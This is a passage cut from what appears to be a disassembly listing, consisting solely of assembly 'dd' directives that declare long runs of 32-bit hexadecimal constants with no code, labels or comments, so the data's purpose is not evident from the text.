3E05808Fh, 67E05F0Dh, 806CDB15h, 0ECF6B89Eh, 62448CE4h dd 0B89500B0h, 164FB6C5h, 0F8C00FF4h, 4C4D53EDh, 916539EFh dd 70B82986h, 5F00B9A0h, 5B097A2h, 74E966E1h, 95600674h dd 596E21A4h, 1A06B67Eh, 0F0A61391h, 764F0940h, 48108650h dd 0EB49F7EEh, 5E328628h, 28E74888h, 87A04448h, 6C005E2Ah dd 641D88Fh, 90B4F65Ch, 6D542410h, 814511E8h, 0ECEFB89Fh dd 107931DAh, 1FB896B1h, 0C0157FB0h, 0FB10F39Dh, 21C06D43h dd 0A89F5F7Dh, 0B16E00C9h, 3A73322Dh, 8F149333h, 247426A4h dd 3406C44Eh, 49D969D7h, 0B780B498h, 0B2243305h, 0DCB5448Ch dd 0E3059D00h, 0AEAB2199h, 0C0100257h, 0DB6517A8h, 41088440h dd 71689E18h, 24F12330h, 5452A3h, 6B55B45h, 55033A4Ch dd 5CA8C9D4h, 81F9EA96h, 0BF417598h, 4809C471h, 213405F4h dd 0E1C0BA24h, 901205A2h, 0D914076Ch, 504E68ECh, 2B5E1E27h dd 0CB09AA15h, 82C528C8h, 432A4092h, 93008874h, 0D321C433h dd 785B20F0h, 0B8C748F2h, 11908524h, 2EFA80A5h, 8CD122E3h dd 0D9F244h, 0E5BC2EEAh, 8D7C159Dh, 532C1B00h, 70B78489h dd 3129C09Fh, 2AA452C6h, 4D00ED7Ah, 817EAA63h, 43C6E65h dd 6F52D9Ah, 5500808Dh, 0BE059B82h, 4E20C908h, 18E60C0Fh dd 4321D9h, 882BA11Fh, 1D9AB60Bh, 41056E74h, 6D14DC0Eh dd 0C097F448h, 243205B6h, 8873AA46h, 3A80A4DBh, 1E530986h dd 1811FE02h, 8B81895h, 9A243005h, 0DD40B3C4h, 55B8059Eh dd 2EE81FFEh, 0B9D4E730h, 6A18B3h, 0ECBD6CF3h, 0D0DAAF0Ch dd 310041E8h, 85491F5Ah, 244C05FEh, 9C9F3Eh, 0C851431Ah dd 0EA1391EDh, 0B850CA4Bh, 1A123D4h, 229F2EF6h, 88E918F1h dd 2E7EE735h, 0FD2F4D01h, 5358F9FBh, 22CC8C20h, 44A56D11h dd 0D560B8C4h, 4B006BD4h, 0EBFE8A8h, 246716C5h, 262B91BDh dd 8E486010h, 0F341E7E2h, 7AF0C4Ch, 0FB4504E5h, 16BEA0ECh dd 0A4FC68EDh, 11018B00h, 476AF531h, 2C31C1F9h, 0F49854FAh dd 211844D7h, 0A999262Fh, 0B4CC54F1h, 0F34700E8h, 0C29B4D54h dd 22541206h, 97F37F88h, 0BC0375C1h, 0D88A36EDh, 280F4B2h dd 0ECF534CFh, 5C64B1BBh, 27AD1016h, 2AC82044h, 9E060D8h dd 94ECF4B8h, 0AE04DC9Ch, 6119B897h, 0C04ACC0h, 8264B36Dh dd 5BB0262Dh, 4D1D043h, 20943119h, 81C3D218h, 0BAAD2022h dd 602C247Bh, 23FAB8E2h, 7811C4ECh, 0B899B400h, 24F99E2Bh dd 2C0A3F00h, 0E7E925D0h, 0CAC4A3B9h, 6AA1421Eh, 474C6128h dd 0B850E118h, 30A48C88h, 0AF6444h, 5BC9B898h, 0E124627Dh dd 0F0BC032Bh, 77612880h, 1F25FD60h, 921D98D8h, 0F0E85408h dd 0B85113Eh, 4023B9DCh, 0E14625E4h, 2A7A19F9h, 5504C0ACh dd 92525947h, 6044D098h, 35669187h, 3D000AABh, 866D6855h dd 0A19EFDBBh, 0B02032A4h, 99A26070h, 0DB354CA4h, 2BF8AF00h dd 0F1240FA3h, 0C09B6993h, 60E67C84h, 10B95E31h, 0C8812F4Fh dd 458680DCh, 1AEAC65Eh, 96DE4401h, 35092059h, 0F0B4B880h dd 5CA71EEEh, 670A3Bh, 0A318BF3Ch, 0B94398FBh, 0D8990788h dd 345B30A5h, 5211E82Ah, 25817A47h, 0A7D0C6Eh, 0BBAB4102h dd 18401108h, 78C12D45h, 0B82A4B6Eh, 48348044h, 1F10702Eh dd 5613C09Bh, 39A9E61Ch, 0FC81FB4Eh, 0B22F8A7Eh, 0F658BD33h dd 0D8E8762Eh, 0A4D7C480h, 12FBD07Eh, 0C7167Ch, 0EF809FE4h dd 0A60F4CF5h, 0C00FE84Fh, 0BB2D59C3h, 121700EEh, 0FA3F54CFh dd 553FFDBAh, 38805697h, 4B77210Eh, 549D5437h, 67F9DC7h dd 830C254h, 0B748CD84h, 0DD2D84C0h, 26680616h, 10121988h dd 849CD1A5h, 0A4BE4CDCh, 78CB7BCh, 6ACB43DBh, 82FE603Eh dd 0E7304A29h, 0A0A8B1D1h, 0D3410E2Ah, 22E0018Fh, 0F14C2442h dd 6ADC6C09h, 20D0484Fh, 0B6F94410h, 19A37030h, 9082F6h dd 0C5BC8BBDh, 923021ABh, 9D28C660h, 7FC1EFF0h, 0AE7F280Eh dd 6062004Ch, 9C0B3CBFh, 42000DCCh, 5D1A1434h, 5C37201Bh dd 0C6412083h, 0E0B2EC13h, 9967C142h, 18627954h, 4F4D040Dh dd 0C027D80Eh, 0BC3C5848h, 0B87BD92Ah, 0DA652810h, 427E844Ch dd 1A4230Dh, 22E22EF9h, 88EF18D9h, 2E02F1DCh, 3B91CCD0h dd 81E48237h, 124207CBh, 0F8C5BFABh, 0B960B5E4h, 1C00F4CDh dd 47C007DCh, 76A6C1Ah dd 0CC51E63h, 0B0A8665Ch, 0CD6DD080h, 0E2F44382h, 0C20D00AEh dd 0F701371Ah, 6E501F59h, 0AE408088h, 489FF123h, 4400809Ah dd 0CE3628FDh, 8467E86Eh, 0B5380121h, 81589E98h, 310126D3h dd 120889FCh, 416020A4h, 865B88A8h, 0BBA8A6BAh, 9BDC543Bh dd 0A13EAD00h, 7AFBD266h, 1E4E0C1Fh, 0FA9874C4h, 4440CC4Ah dd 4F232B7Bh, 945AF606h, 2A914038h, 48FA1914h, 0F09BE400h dd 9A340C5Ch, 8BC00D7h, 4EBBFB18h, 490010EAh, 0A11AE809h dd 24114413h, 74FC5314h, 8F48DD46h, 99811B3Ah, 3B4F11EDh dd 801C2842h, 261A3D1Ch, 0B8932C20h, 632944BCh, 0ECF3E8E3h dd 0C26891FCh, 0FCC09AB5h, 4F05E8D7h, 0FA78FCAAh, 0F7EFEC02h dd 355890EAh, 4F9D115Eh, 9B2084CFh, 0BB00ECF2h, 0BA8BA30Eh dd 947A6E4Dh, 2E1DA8C0h, 499D012Dh, 0F38F809Eh, 0E922E082h dd 0DA10ED31h, 0C9002EEBh, 0E2D7C115h, 13086B07h, 229EAE5Ch dd 0E868F578h, 0E2248255h, 720D54CDh, 0A02C209Dh, 8CE9BCh dd 48FA951Dh, 602C764Eh, 25011090h, 410817F9h, 68288574h dd 18CEFBCh, 3F7133E2h, 0E5B6201Ch, 0CEAC50CDh, 0B100C12Bh dd 7827AB08h, 988271E6h, 0B07620F4h, 7726340Eh, 0F2684399h dd 69402EDFh, 5B465E80h, 0BACDE301h, 0C86BA1E6h, 54B8A5C7h dd 1214843Ah, 0F0CBB335h, 0A0C0B3C8h, 7425AC8Fh, 0BEF030Fh dd 0C6F0A99Eh, 834EE101h, 0BB2FD924h, 6E08943Ch, 23026C7Ch dd 0E599FFE1h, 0A2C33DF0h, 67753063h, 0C168ADE6h, 5A40C0A2h dd 808BFCh, 8684781Ah, 7A57B2B9h, 0D302E87Eh, 5972FD2Bh dd 40D84887h, 0C4D62E9Ch, 17116AC0h, 6884005Bh, 83A3D11Ch dd 0F45FE21Bh, 262CA8B8h, 97AB32F9h, 0C453DF10h, 7771C8A9h dd 6B0B9F18h, 33767C58h, 0E22FE920h, 157AE438h, 0C4A68219h dd 7D2D1400h, 4E27A560h, 2B87AC0Bh, 0AFB0B054h, 0B89B4C4Dh dd 9A048C73h, 4A243605h, 0DFC09CB2h, 7EA705A8h, 0FD746600h dd 725F07D1h, 27F91524h, 9B27E88Bh, 0B3915497h, 0DE37BE80h dd 60484D9Bh, 9E7E10DCh, 0C8ECCA92h, 1E99C1EFh, 0F9C2D060h dd 0A2451B02h, 0D0C74410h, 0A37E17B0h, 7C5289h, 7C40FB98h dd 5CB9E6A2h, 6A0BDA00h, 3C9AD5h, 73B41005h, 70D4D09Fh dd 0EBDA2766h, 8CD3D71h, 9D8B6B80h, 6EC4F6B8h, 0B029C501h dd 22156F92h, 88022421h, 0E89C20B1h, 6601EB87h, 8127D33Ah dd 31E08C57h, 0D989002Bh, 0E996F291h, 0E07C029Dh, 289EACA1h dd 0FC610434h, 7CC23CA1h, 0A29091B6h, 2E1FF718h, 20A322E4h dd 0EFDE2658h, 0AD820C6Ch, 67E03F91h, 4F8F2700h, 0BD095015h dd 76EA87h, 0BB13460Fh, 27DE33FCh, 530BD900h, 22D17442h dd 0BC41C0A5h, 69B8BE55h, 97B05FB0h, 0F940E4B6h, 0F49C610h dd 0E6E021A2h, 771B3C40h, 0BF01D9D2h, 0F461448Ah, 16DC24ECh dd 0A26500B7h, 20EADF84h, 6F229F63h, 0C2BAC09Dh, 0DF2B0482h dd 0F146A0B0h, 485E341Dh, 0DBC4D74Fh, 5E2C8940h, 7F3187A8h dd 0BDCEB9A9h, 0E5957F4h, 659EA26Eh, 26209BC0h, 9C4837E1h dd 0EE3081E0h, 0A4387BDDh, 58C65E8h, 9F4375Bh, 88489231h dd 6E302000h, 607F4A25h, 4AA48C4h, 67031700h, 1C6F7B65h dd 462C0572h, 13DBDFC8h, 239C2EF8h, 5CF500EFh, 2064D0FEh dd 50306C4Ah, 11D14B1Ah, 8182639Bh, 0CE651820h, 0CAE6F88Ah dd 4C6180A4h, 1A1B489Fh, 59C5A5Ch, 6D12A46Eh, 89B3F8D1h dd 7A20E800h, 104E6C25h, 419638F0h, 0F06DEEC7h, 0CF6064E4h dd 8548C0BFh, 2171008Ch, 0E2542683h, 0AFF80A7h, 4ABD800h dd 0F99C6914h, 0CCF407DAh, 0A57976BBh, 0F2B4A2A9h, 569033B8h dd 0E61C0E24h, 0BB4704E3h, 38D0A016h, 7672EDC5h, 78021485h dd 724F84BDh, 40329AECh, 4B24357Ch, 0DAB02CC2h, 6305A300h dd 0E4D5599Dh, 0A5B205ABh, 52F0CC32h, 907BD4h, 8E271C85h dd 0B16D5466h, 1864D14Ch, 4EE28Ah, 0E9111013h, 802515F9h dd 0F1242B0Ah, 0E089805Fh, 0CF0C06FAh, 2EEE5F11h, 0F7DE10F4h dd 162D76C0h, 202E8A11h, 0F30B20B2h, 780445EBh, 29047FFBh dd 28EDAA65h, 0A47060A0h, 4EC90098h, 0B0A55FF7h, 0CF3B73CEh dd 158B0040h, 3E60EC12h, 0F4F90BBFh, 0DCC925A4h, 832468B9h dd 0BA7CFA87h, 0E0D282h, 17F896E2h, 7FE8D7ADh, 5587C4BEh dd 0A6C78341h, 0C9611100h, 0A17600CAh, 0D7E057D4h, 0DF014EBBh dd 0D19FED47h, 0E2D0BC8Ah, 0B5EE15FAh, 0C04C9C4Dh, 8960AA48h dd 0D914FCFDh, 0EE3E8600h, 0EB599788h, 1EF01C3h, 22435047h dd 0E84C4083h, 0A20F0635h, 254DDD02h, 0CC279CF3h, 0F16C1DE2h dd 0C9260008h, 92A5D8C5h, 6933BE00h, 0E9400D27h, 54F902FAh dd 910FA0E0h, 38935070h, 0F3D15829h, 200D418h, 0FEF70640h dd 17A38FADh, 9D79371Ah, 0E2686278h, 0F88132B0h, 20F14BE9h dd 762D2F28h, 47540920h, 0F7DA627Ch, 48774E18h, 0E7098445h dd 0F4E740A7h, 189B1F42h, 0D602CFB7h, 0A4C45FFBh, 9B304427h dd 0BF2C0A18h, 0B546567Ch, 0D0758700h, 65CF541Eh, 0A081AC27h dd 1AD808A0h, 45E40049h, 574074B9h, 9E39C9E1h, 630B8173h dd 0A182B7A4h, 429A319Dh, 4FBD87CCh, 4E65DCC0h, 5067B724h dd 44459803h, 0F0B90075h, 8FF305Dh, 8B4AA4E2h, 22E1D0CDh dd 0E012A023h, 47044020h, 40BC4DE7h, 0E81D1F1Bh, 9D211F38h dd 4169FC6Ch, 9E91A48Ch, 4629E700h, 1FB4BB67h, 64B64856h dd 0B76AA098h, 0F1ECEE52h, 950C9B24h, 0A2A9AC00h, 88ECB658h dd 264D1780h, 2344C06Ch, 984C83F9h, 88CAE5FCh, 0F0C0B0C8h dd 9793E925h, 90B64C0Fh, 6E905688h, 88895B04h, 0F8E72FDAh dd 64B85058h, 0CD3048Ch, 975A4721h, 36C02878h, 294F9A5Eh dd 608C8107h, 915E2E8Bh, 644A0600h, 463217BDh, 229505A7h dd 12200230h, 9D8808CCh, 488A3A80h, 1BC854Ch, 2FF679EEh dd 7834DC44h, 0ECA72664h, 60CCDD50h, 92D991D5h, 0E7001057h dd 2179BBA6h, 0DECF1Bh, 318AD3A3h, 27199D84h, 29BC2Dh dd 0A2AFF5Ch, 30BDE495h, 0B049D2E6h, 0A71DFA8Eh, 0CD008881h dd 0D9D89957h, 0BBF72F6Eh, 0A01A7407h, 0F0A9A664h, 0E48C1CA3h dd 7B728A04h, 5175E400h, 0BCE35D81h, 72541806h, 0A77F7882h dd 156E8A8h, 0FFAA3A2Ch, 92EB003Ah, 65DDAFD1h, 0B3FE00B8h dd 0B0475C2Eh, 2826AD8Ah, 202BA0F1h, 1CDA5316h, 44C2EEC8h dd 0EDF09132h, 5E083018h, 0CB374FB8h, 48859CA0h, 0E905575Eh dd 2ED10FF8h, 0FAE8E819h, 5FBC7AD6h, 6EF45349h, 4DE04C0h dd 0EF80185Ah, 2D3822CFh, 98A4D006h, 4C40B80Eh, 24F11899h dd 13E89F80h, 150162Ah, 4D9DAC30h, 0CDC04063h, 0F44BA9BBh dd 547BA4D0h, 0DE223030h, 8E538850h, 20B88C62h, 11589775h dd 9BCE8079h, 1469F3B1h, 0DA5239F8h, 9C0B977Dh, 0FC005C64h dd 0A2BDF3E1h, 9302F14h, 98B94C20h, 0E1D60C18h, 7EBC9900h dd 0CA6E0471h, 2A4C0021h, 0EE278661h, 0D126DB3Bh, 4343DC1Eh dd 2F890E60h, 8E8062EFh, 80B417F1h, 9D3954F8h, 87DC0048h dd 0FA512F6Fh, 0BBCC12ECh, 0B7D4E6C6h, 0E50E73F0h, 0B1AA0049h dd 92E4ED2h, 0BD0F2B72h, 89AC4D55h, 1D5C5AEFh, 0DB612EAh dd 0C82088E7h, 6490E5F1h, 851C6E2Fh, 1CE1587Ch, 200A4479h dd 25E83829h, 74E69064h, 1B84300h, 4C331664h, 913492AEh dd 5AE820F4h, 4DF444DEh, 0EB1CC150h, 74C702EFh, 0C32547BCh dd 1802A0ABh, 883E7653h, 0AFD46070h, 18260CC7h, 0EA4834BDh dd 0A615BB01h, 8E12C9E7h dd 934D8450h, 14A82C6Dh, 888404Ch, 310A9DCFh, 9C259B21h dd 0A808A712h, 1A12BFC8h, 670235Eh, 2FACBBE9h, 0B8B00400h dd 9EAD280h, 3D54D681h, 3C09285Ah, 0C59D0169h, 64EE64E4h dd 5801DA12h, 681BF66Eh, 76F26822h, 12676830h, 0C18A4B7h dd 1A61A111h, 0DC3D6200h, 0E4A7D7DFh, 0B84F500Ah, 0A4BC4CABh dd 40526BC0h, 280F9276h, 5F0AEDB8h, 0CBA304FCh, 8C88F927h dd 0D0261453h, 1400C069h, 34BCAD81h, 0C2284B80h, 0C07FF0B3h dd 0F9702E00h, 6318748Bh, 0CD33001Eh, 5443CFE2h, 9D670Eh dd 56E92784h, 744400A7h, 0E51E642Dh, 11768CBh, 2C8B6007h dd 20C0F2C8h, 49D9143h, 12613AEh, 4CA8AC34h, 48BD48F0h dd 114312C4h, 4E6C5444h, 52A4F488h, 1C4EB823h, 5830DE80h dd 51C221A7h, 0B6681300h, 9A0D56C3h, 38480CEDh, 0F3485D20h dd 4443D788h, 7B01AF75h, 0A94AB7BBh, 0C7079B81h, 5D7EB033h dd 0BD9F97F5h, 6D48880Ch, 357D9942h, 40112021h, 806C9BD7h dd 2432D240h, 3ED00BFCh, 88C8E6AFh, 0E73B3C78h, 883681BDh dd 0C3149AEDh, 9F1CD2E8h, 854E4A0h, 0AC998209h, 0A2167300h dd 1CC5C3BCh, 0BFD747h, 0F90502A3h, 527310E5h, 5C208817h dd 7623983Ah, 0C0BCA60Eh, 4F7BB0F0h, 0C1384F0Eh, 0BC734584h dd 0B4EE2C29h, 9B24215Eh, 7436FF80h, 0ABE5414h, 7019406Ah dd 6C880BCh, 0A2C06B29h, 4753EC00h, 0E335247Ch, 0F1201226h dd 92CCA4D3h, 878140h, 0A76AFAEDh, 47E1BE59h, 0C839DC9Ah dd 2DE782ECh, 0EDEEDFBCh, 0AACFC0F8h, 0D604E8E0h, 0E169BB39h dd 73F40C81h, 0D138C004h, 0B0A14E0Ch, 0AEC870F9h, 0E220251Fh dd 0A41DB826h, 725D7844h, 0CEE008F6h, 0DD00B807h, 0BB845822h dd 4A5748FCh, 2B1421EDh, 2106D8C5h, 72250500h, 8D89B8D3h dd 0CE020215h, 0DC8271ACh, 607E90CAh, 1B3465Eh, 25BD132Bh dd 0E882AA8Dh, 232D1820h, 0D49EF4F2h, 0B518F75Eh, 41B99607h dd 82E7231Fh, 0F5282251h, 3CD8012Eh, 680CA5Ch, 79F4660h dd 22E12EF4h, 40ECC428h, 0D32EED37h, 0EA993CADh, 46802CC8h dd 433EF1C0h, 8DD92809h, 60D88AA9h, 0F7DD2174h, 6CCB9280h dd 7145D72h, 163B2012h, 0B01049A4h, 547C7808h, 67289527h dd 0B485604Ch, 0BC1D722Fh, 1DC0F083h, 0F42B1730h, 7D18C0B7h dd 428E1B2Eh, 24BAC20Ch, 0F91A3083h, 33A83980h, 5C7A08BEh dd 7B9BD403h, 73B783h, 0F1C45221h, 18B8F969h, 0C0F0D719h dd 21808808h, 9CF1B2B1h, 0F900EDDAh, 0A8144389h, 3DE14C5Dh dd 2F8152B5h, 2D77B71Bh, 7A7083B6h, 670DE36h, 8FFCFA40h dd 0AE90200Ch, 387B3930h, 30AE7235h, 0B4C0305Ch, 3C00CACFh dd 1FCE5A8Ah, 0CCB652B9h, 70212B08h, 81007C98h, 43EB76B0h dd 7E9B0DE3h, 0FD7F3782h, 46396379h, 0D45897E0h, 3447CE0Fh dd 0C87C8C90h, 0AC080071h, 0B98215F5h, 0B0E07FE8h, 83DA39CEh dd 0B1F3C1h, 336A1411h, 561F3BC4h, 17668176h, 2821CA08h dd 0AA6273h, 6B6A6C0Ah, 0FFF93D1Dh, 1625E300h, 91562382h dd 0F288C069h, 19DE0207h, 0DC0CB4F8h, 48B521F5h, 155C3450h dd 0B08808E1h, 0D03CCCC0h, 229E465Ah, 0C5160723h, 0F049D83Ch dd 36C6881Dh, 0B33443E1h, 46B1A906h, 24889695h, 82086D18h dd 50597016h, 0F594C480h, 0D0A2C02Dh, 8FF81890h, 0B246D4ACh dd 883CCE1Ch, 25C4AE5Ah, 3CC71440h, 3300ABF1h, 60B51E03h dd 28C11FCh, 4C2E4A28h, 0BF8063C6h, 5809F990h, 0F2532300h dd 42017ED6h, 0C87154D3h, 6E048CC5h, 3F3BA833h, 311E0B63h dd 8D9F6677h, 26A13BC0h, 37058BA6h, 0F0D81FECh, 7E1A7DB4h dd 0E01DE1CFh, 88FAC4F0h, 0FC751AF3h, 0B4900878h, 0F00082BFh dd 5D3E460Fh, 1884ED12h, 2168F9DCh, 99CEC4F5h, 80620935h dd 61813FC0h, 1E7EA11h, 4ADC28Bh, 505BBE1Ch, 0EBC82F8Ch dd 52D33491h, 0EE0034D9h, 2E90C36h, 0F44CF9A8h, 77B31D80h dd 0C898BB54h, 336DC0C0h, 7433BABh, 0A0617687h, 0DEF4EAD9h dd 59901A03h, 0EB2B405h, 5AB50D58h, 240C65h, 0A0A57AA0h dd 68C8CD10h, 336CC0C7h, 0F463BAAh, 753D1022h, 2A800064h dd 775C481Ch, 26150720h, 76FD5AD5h, 0B0070CAh, 66253560h dd 3EE831D3h, 0A105D20Ah, 6080B475h, 0CBF08ADCh, 11D0FA23h dd 81BE0068h, 452032F0h, 0A6830035h, 0DE389AF5h, 0C4A8275Bh dd 88184DE1h, 4718FEA8h, 0C41C1CBFh, 75048006h, 0EF5515DBh dd 0FB31CF00h, 4A41BE51h, 0AA381214h, 11881285h, 0F850E8D7h dd 393040A7h, 0AC94F026h, 1786465Eh, 0FB01EF4Eh, 126BED5Ah dd 5D3CB840h, 509700D7h, 41F13553h, 5A14FE8Ah, 0BCC0DB45h dd 722F21C8h, 5E3BD201h, 430953Dh, 0C80713FAh, 41840FF2h dd 5FE7FE5h, 0DC5B18h, 0B6D3B4DCh, 73E6B9EEh, 0D4EC4B00h dd 416FF376h, 38B7739h, 399EB31h, 0D10079BBh, 0ED2A0653h dd 8EA165h, 0D3C46AC1h, 0E109C232h, 0BC079600h, 6FE4FA41h dd 4AE8C113h, 6454E5A8h, 0A7074F24h, 489D6D41h, 64781212h dd 2AD4640h, 5ACD3CC9h, 102E31B6h, 313CC26Fh, 63FEC05Bh dd 0CD7BDC24h, 0B901B01h, 7CE2EA19h, 78A76423h, 0CB0436C3h dd 0EAE080C5h, 0B6D90579h, 911BED58h, 63E4E380h, 302AA26Ch dd 4F07D0CCh, 15FCC9D8h, 4809D79h, 20722FC6h, 2EFAD0FFh dd 400C037Eh, 23614EB1h, 6DD45900h, 1FB0BD5Ch, 0FF9807Ch dd 60262824h, 4874483Eh, 1612394h, 0FAC8F0CFh, 888418E8h dd 0F00086C3h, 3F29CBD0h, 495D33B8h, 2A0720DDh, 20DE5844h dd 2386F69Dh, 79043973h, 0CDE46D3Fh, 290A48Ch, 0FBB2EF0Ah dd 9065DB3Dh, 986010E4h, 5D002547h, 0DE9A0DC4h, 0BAF3A9h dd 91656376h, 6CCDACBCh, 48A05B48h, 8C0FBC94h, 4F341500h dd 0C2E69FBDh, 0C78504F2h, 0C80BE558h, 0D56C3390h, 408F18F9h dd 0CC99C514h, 10C0A9D2h, 619E6CCh, 0C157FEBh, 0D60658D2h dd 0B5A42258h, 44BD0129h, 0C23F9421h, 0B094208Ah, 6C91317Ch dd 1036C6D1h, 0D96A6500h, 1FC031F0h, 3085D305h, 0E4C148C8h dd 490072EBh, 0AB031BE8h, 4BF797DCh, 4CB3E239h, 0E63CE274h dd 80A6435Ah, 3F3CC011h, 0FC080087h, 0E6FB1A6Ah, 0D926A63Bh dd 27054C84h, 90C1B93Ch, 3400B4C7h, 49A3A40h, 0C1E88C58h dd 2146BB5Dh, 12FAB074h, 1D2BD3E7h, 5B680264h, 0A045DB3Eh dd 20D80FE5h, 0EBD00003h, 0F5CAD70Eh, 7E0C89B5h, 909565CEh dd 2503307Fh, 7659BD31h, 0C0036092h, 1969CDB1h, 0A4B950BFh dd 0CE048C64h, 0B0FACFF0h, 8501C238h, 0CC92ADF0h, 39F8224Ch dd 4628B093h, 0F1A80287h, 1C58F96Dh, 0F1B6B50Fh, 1D1A947h dd 4D163350h, 40DDD45Bh, 21688096h, 0FC169017h, 44023905h dd 80535638h, 1E6B2EC8h, 467898D1h, 3CCB02AFh, 51C65A8Bh dd 0BC6D6010h, 0FF01993Ch, 36E23FEFh, 6C22F474h, 0A810DA03h dd 95C0AB54h, 590AF514h, 0FC174BFDh, 0B240093Ch, 43C6D89h dd 471F837h, 34C1FB80h, 28AEF58Ch, 84467604h, 44DA6403h dd 2E80DE93h, 374C4546h, 0FFF809A8h, 2DA0A0C7h, 4B79B1A6h dd 85B00858h, 6BF1AAC0h, 22C846F9h, 0B0B70287h, 8C2C10F1h dd 0ED24F440h, 0C00A6C00h, 0ECD2C28Fh, 0C01967E3h, 800392F8h dd 7EBA4E40h, 8C2DE401h, 0F6500FFBh, 0B39E860h, 0A7EFF992h dd 0D759F022h, 8E2F88A4h, 0C78D8828h, 0E8A950BEh, 0C0161F66h dd 0A4009963h, 14C26B4Ah, 8B192870h, 306952C8h, 8F3084E2h dd 40F44B93h, 585F26E0h dd 4812E509h, 0D705E3FBh, 0AC0477F5h, 94C8FC7Eh, 6CDF505Ch dd 0B54438F3h, 0E0FC4A80h, 0E249D93Bh, 0AB910F03h, 7DBA84h dd 0A5F00629h, 77B897E7h, 9A932203h, 9FA869FAh, 8CE2F394h dd 653085F2h, 3B9209E8h, 40095C56h, 17F704B0h, 31934096h dd 0C4DA780Ah, 0C5808491h, 0C0F96AF1h, 0B28A448Ch, 0CFF1AB01h dd 0B003F4F5h, 2139DCh, 404AFB35h, 5C83A056h, 9419D412h dd 0CD135C40h, 0E50E95h, 15E61DAEh, 400558D5h, 5C00C49Ch dd 8032B0CDh, 0B1D8635Bh, 0ABC02FB8h, 0CB00B6A3h, 6E132BA1h dd 9CF8DC84h, 0BFF58A1Ch, 349080C0h, 0B3BC3C17h, 0F8C20501h dd 446952C3h, 1880F840h, 0E1F13F35h, 0C9F04D35h, 510ECC2Ch dd 665F1900h, 0B11CA5DFh, 0C5F60162h, 5ABE1F8Dh, 7FF9897Eh dd 1B0C10FBh, 1929125Eh, 39B04159h, 207A6D4Eh, 0F0122E0Ch dd 780BF3E3h, 0F037DAh, 0D421BE4h, 3E1FDC40h, 5E1EFBABh dd 0B406D600h, 2CA81677h, 874470B1h, 24384A43h, 2250A152h dd 312BF2B0h, 0EDED4F8h, 221EE476h, 3D7B6163h, 0EC0FCB9Fh dd 5C37F016h, 0F16EC0A9h, 2B3234D7h, 30C2E91Ah, 0C511336Bh dd 0C98C173Bh, 7F7A7421h, 144CAD1Fh, 0EB0AE9E8h, 303778B5h dd 45E41E27h, 0ACE891CFh, 0CC3CC880h, 0C494BE5Ah, 3EC11258h dd 5809A3Ch, 0FDF598B7h, 0E2123241h, 28407819h, 0BD96AC11h dd 12BD986Ch, 1EA929h, 0AE39860Ah, 0A89A9001h, 86E498A5h dd 102E8260h, 5E4D5100h, 1924767Ch, 0A479C080h, 0C81DD9D3h dd 1022335Ah, 38A0441Ah, 6800E829h, 384616BEh, 22605D03h dd 0A11D62D9h, 0E3A900C6h, 0FCC44ED7h, 6F00E6EFh, 0F093B5B2h dd 48EC07FBh, 0CE0048E0h, 0BE467B6Ch, 29EB9F56h, 2D0810BCh dd 0D4E3104h, 0FFE08473h, 90FC1909h, 2C1E2720h, 84B851A8h dd 0CF7BC9BAh, 0C68588E4h, 502098EEh, 55F528D9h, 2CC4BA3Ch dd 93C43519h, 88BC8B77h, 0E4EEC073h, 0F516940Eh, 289CC6E7h dd 526540A1h, 4F924801h, 0A7FACD9Ch, 19838BE9h, 8C2F4A53h dd 0B9701690h, 316140h, 953445FEh, 3210C943h, 43E2025h dd 0B059A514h, 8CD187Fh, 78FACAF0h, 84BD70h, 6EB06DF0h dd 0B527E557h, 0B880BC90h, 389450F9h, 18D630E8h, 0F0D181CDh dd 8B0006C0h, 0A8ED0A70h, 9845D50h, 0BEF3BC7Fh, 82B2D020h dd 8D001179h, 3463A2AFh, 1FE248AEh, 701996FBh, 6B05059h dd 17E61400h, 0ACCBD58Ah, 0AA770358h, 9718C2BDh, 0F9293Fh dd 262D0F1h, 16C7E6F4h, 3FCA693Dh, 8D2374h, 7E839BB3h dd 9E077A0Bh, 53195D5Fh, 467CC0DAh, 4D190069h, 90A577C5h dd 0D676015Ah, 73B43362h, 58D2E81Fh, 0DCD40812h, 3565800h dd 6037F7F9h, 52D610F4h, 1C09C338h, 3775A1B7h, 0FAEB0058h dd 44E7DCC8h, 6BDB5Eh, 226F9A00h, 0FD4B64EFh, 3FC01952h dd 86BE00A6h, 99583AABh, 61E22EE4h, 12D390CCh, 0C80F69CEh dd 3B047070h, 0C394F1AEh, 49C6EB78h, 0B2335D1Dh, 0FCEDB680h dd 4BF7E7F8h, 4741723h, 904DA8F0h, 811A9258h, 0DDC389Ch dd 8D4E3A13h, 263C3C81h, 465EF839h, 0C9A80524h, 0D007D4B2h dd 0DCB45E17h, 0EB190CC0h, 1482EA25h, 54ECC26Ch, 0E8CC6B8h dd 7978F01Eh, 9FA4F65h, 0C8442D9Ch, 8579BCB9h, 0FB257718h dd 0EFE018E3h, 0C1990BC4h, 0F01D0BB8h, 158E2791h, 89FACE80h dd 0F38E4C2h, 1001DAB3h, 1837ED58h, 0F3E12C30h, 26A2AC63h dd 2CC1430h, 0DCD3892Dh, 0C4488EF2h, 8C945B5Dh, 473B6980h dd 14F3146h, 9B7B09Bh, 71581E20h, 27282874h, 0E0FC8A5Ch dd 12704674h, 1C043F0Fh, 5C9C7105h, 730604FCh, 867D659Eh dd 62466054h, 0C9F0CC02h, 863180FAh, 0DB74302Ah, 0EF00A757h dd 0EB9108C6h, 4B8F531h, 2FE87986h, 8404D1DDh, 88304B0Ch dd 0A104C170h, 4C243085h, 9DDE8D09h, 945404A9h, 0ECAD90A9h dd 15E4744Ah, 19C53902h, 8070594Eh, 0BE455A8Ch, 90CF5457h dd 65FC0990h, 0E8E44829h, 4A92313Ah, 47AE888h, 0A5091FF1h dd 13C4F0C7h, 0E55AECA8h, 28BE8724h, 0EA406300h, 2E66E4FBh dd 3F207692h, 86187220h, 0DFF19619h, 0AE7E0073h, 97FCB6F2h dd 0A67D133Bh, 0FE43F014h, 4C6E5EA4h, 0C44A3A00h, 0F8024B1h dd 5D404096h, 42941FFh, 0B71BE754h, 4308C0F6h, 32141325h dd 0BCD875CBh, 14EA8C71h, 514CA87Ah, 32F81378h, 87C8E88Bh dd 0C8514BC0h, 579C0511h, 407BBA25h, 0D68C73E4h, 3C02044Dh dd 0D0A93177h, 1200D315h, 2318B278h, 336901BCh, 19673BC7h dd 20042DE6h, 0BA2EE1D8h, 0B725E4CBh, 51A18004h, 0A229FDF8h dd 57F2890Bh, 0E4DC6532h, 19626073h, 0FFDC25B8h, 2D20C82Ah dd 0B3B96430h, 7608BC9Eh, 2CA92779h, 0BDE5EC01h, 4C20295Ch dd 